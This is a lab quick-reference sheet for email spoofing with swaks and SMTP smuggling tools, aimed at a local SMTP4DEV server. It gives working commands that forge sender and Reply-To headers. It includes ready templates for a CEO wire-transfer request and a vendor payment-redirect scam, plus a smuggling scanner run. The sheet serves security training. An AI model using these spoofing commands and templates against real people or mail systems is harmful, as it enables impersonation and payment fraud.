Email Spoofing & SMTP Commands Quick Reference

Prerequisites

- SMTP4DEV running (from previous lesson)
- Kali Linux or Parrot OS
- Internet connection for git clone

Basic SMTP Setup

```bash
# Start SMTP4DEV (if not already running)
docker run --rm -it -p 3000:80 -p 2525:25 -p 143:143 rnwood/smtp4dev:v3

# Check swaks is available
man swaks
which swaks
```

Access SMTP4DEV: http://localhost:3000

Basic Email Spoofing with Swaks

Simple Test Email

```bash
# Send basic test email
swaks --to test@company.local \
 --server localhost:2525 \
 --from legitimate@company.local \
 --header "Subject: Normal Test Email" \
 --body "This is a legitimate test email."
```

CEO Impersonation Template

```bash
```

```
# CEO spoofing example
swaks --to cfo@company.local \
 --server localhost:2525 \
 --from "John Morrison <ceo@company.local>" \
 --header "Subject: URGENT: Immediate Wire Transfer Required" \
 --header "X-Priority: 1" \
 --body "Sarah,
I need you to process an urgent wire transfer immediately.
[Add appropriate business context here]
Thanks,
John Morrison
CEO, Company Inc."
```

Vendor Payment Redirect

bash

```
# Vendor spoofing example
swaks --to accounts@company.local \
 --server localhost:2525 \
 --from "billing@techsupplier.com" \
 --header "Subject: URGENT: Banking Information Update Required" \
 --header "Reply-To: billing@techsupplier.com" \
 --header "X-Mailer: Microsoft Outlook 16.0" \
 --body "Dear Accounts Team,
Due to a bank merger, we must update our payment information.
[Add banking details and urgency]
Best regards,
Jennifer Walsh"
```

SMTP Smuggling Tools Setup

Installation

bash

```
# Create Python environment
cd ~
python3 -m venv smtp_env
source smtp_env/bin/activate

# Clone SMTP Smuggling repository
git clone https://github.com/The-Login/SMTP-Smuggling-Tools.git
cd SMTP-Smuggling-Tools

# Install dependencies
pip install -r requirements.txt
```

Basic SMTP Smuggling Test

```
bash

# Test SMTP smuggling vectors
python3 smtp_smuggling_scanner.py admin@company.local \
 --outbound-smtp-server localhost \
 --port 2525 \
 --sender-address "admin@outlook.com"
```

Key Swaks Parameters

- `--to`: Recipient email address
- `--server`: SMTP server (localhost:2525 for SMTP4DEV)
- `--from`: Spoofed sender address
- `--header`: Add custom headers (Subject, Reply-To, etc.)
- `--body`: Email content
- `--auth`: Authentication method (if needed)

Header Analysis

After sending emails, check SMTP4DEV:

1. Go to http://localhost:3000
2. Click on received email
3. Check Headers tab for:

- From field (spoofed sender)
- Authentication-Results
- Message-ID (reveals real source)
- Received headers (routing path)

Troubleshooting

```bash
# Check SMTP4DEV status
docker ps

# Verify swaks installation
which swaks

# Test SMTP connection
swaks --to test@example.com --server localhost:2525 --quit-after BANNER

# Git clone issues
git --version
```

Cleanup

```bash
# Deactivate Python environment
deactivate

# Stop SMTP4DEV
# Press Ctrl+C in Docker terminal
```

Security Notes

- Use only in controlled lab environments
- Never target real users without permission
- Educational purposes only
- Understand both attack and defense perspectives